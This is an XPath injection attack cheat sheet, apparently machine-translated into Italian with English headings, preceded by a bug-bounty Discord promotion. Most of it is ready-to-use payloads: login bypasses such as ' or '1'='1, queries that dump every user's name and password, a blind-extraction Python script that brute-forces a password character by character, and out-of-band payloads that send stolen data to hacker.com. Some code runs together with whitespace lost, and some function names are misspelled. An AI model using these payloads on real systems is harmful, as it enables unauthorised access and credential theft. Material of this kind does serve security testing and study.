Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Basic Syntax
Una tecnica di attacco nota come XPath Injection viene utilizzata per sfruttare le applicazioni che formano query XPath (XML Path Language) basate sull'input dell'utente per interrogare o navigare nei documenti XML.
Nodes Described
Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML. Queste espressioni e le loro descrizioni sono riassunte di seguito:
nodename: Vengono selezionati tutti i nodi con il nome "nodename".
/: La selezione avviene dal nodo radice.
//: Vengono selezionati i nodi che corrispondono alla selezione dal nodo corrente, indipendentemente dalla loro posizione nel documento.
.: Viene selezionato il nodo corrente.
..: Viene selezionato il genitore del nodo corrente.
@: Vengono selezionati gli attributi.
XPath Examples
Esempi di espressioni di percorso e i loro risultati includono:
bookstore: Vengono selezionati tutti i nodi chiamati "bookstore".
/bookstore: Viene selezionato l'elemento radice bookstore. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
bookstore/book: Vengono selezionati tutti gli elementi book che sono figli di bookstore.
//book: Vengono selezionati tutti gli elementi book nel documento, indipendentemente dalla loro posizione.
bookstore//book: Vengono selezionati tutti gli elementi book che sono discendenti dell'elemento bookstore, indipendentemente dalla loro posizione sotto l'elemento bookstore.
//@lang: Vengono selezionati tutti gli attributi chiamati lang.
Utilization of Predicates
I predicati vengono utilizzati per affinare le selezioni:
/bookstore/book[1]: Viene selezionato il primo elemento book figlio dell'elemento bookstore. Una soluzione per le versioni di IE da 5 a 9, che indicizzano il primo nodo come [0], è impostare il SelectionLanguage su XPath tramite JavaScript.
/bookstore/book[last()]: Viene selezionato l'ultimo elemento book figlio dell'elemento bookstore.
/bookstore/book[last()-1]: Viene selezionato il penultimo elemento book figlio dell'elemento bookstore.
/bookstore/book[position()<3]: Vengono selezionati i primi due elementi book figli dell'elemento bookstore.
//title[@lang]: Vengono selezionati tutti gli elementi title con un attributo lang.
//title[@lang='en']: Vengono selezionati tutti gli elementi title con un valore di attributo "lang" pari a "en".
/bookstore/book[price>35.00]: Vengono selezionati tutti gli elementi book della bookstore con un prezzo superiore a 35.00.
/bookstore/book[price>35.00]/title: Vengono selezionati tutti gli elementi title degli elementi book della bookstore con un prezzo superiore a 35.00.
Handling of Unknown Nodes
I caratteri jolly vengono impiegati per abbinare nodi sconosciuti:
*: Corrisponde a qualsiasi nodo elemento.
@*: Corrisponde a qualsiasi nodo attributo.
node(): Corrisponde a qualsiasi nodo di qualsiasi tipo.
Ulteriori esempi includono:
/bookstore/*: Seleziona tutti i nodi elemento figlio dell'elemento bookstore.
//*: Seleziona tutti gli elementi nel documento.
//title[@*]: Seleziona tutti gli elementi title con almeno un attributo di qualsiasi tipo.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificare e rubare lo schema
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Bypass dell'autenticazione
Esempio di query:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR bypass in user e password (stesso valore in entrambi)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abusare dell'iniezione null
Username: ' or 1]%00
Doppio OR nel nome utente o nella password (è valido con solo 1 campo vulnerabile)
IMPORTANTE: Nota che il "and" è la prima operazione effettuata.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Estrazione di stringhe
L'output contiene stringhe e l'utente può manipolare i valori per cercare:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Ottieni la lunghezza di un valore ed estraila tramite confronti:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Esempio di Python
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to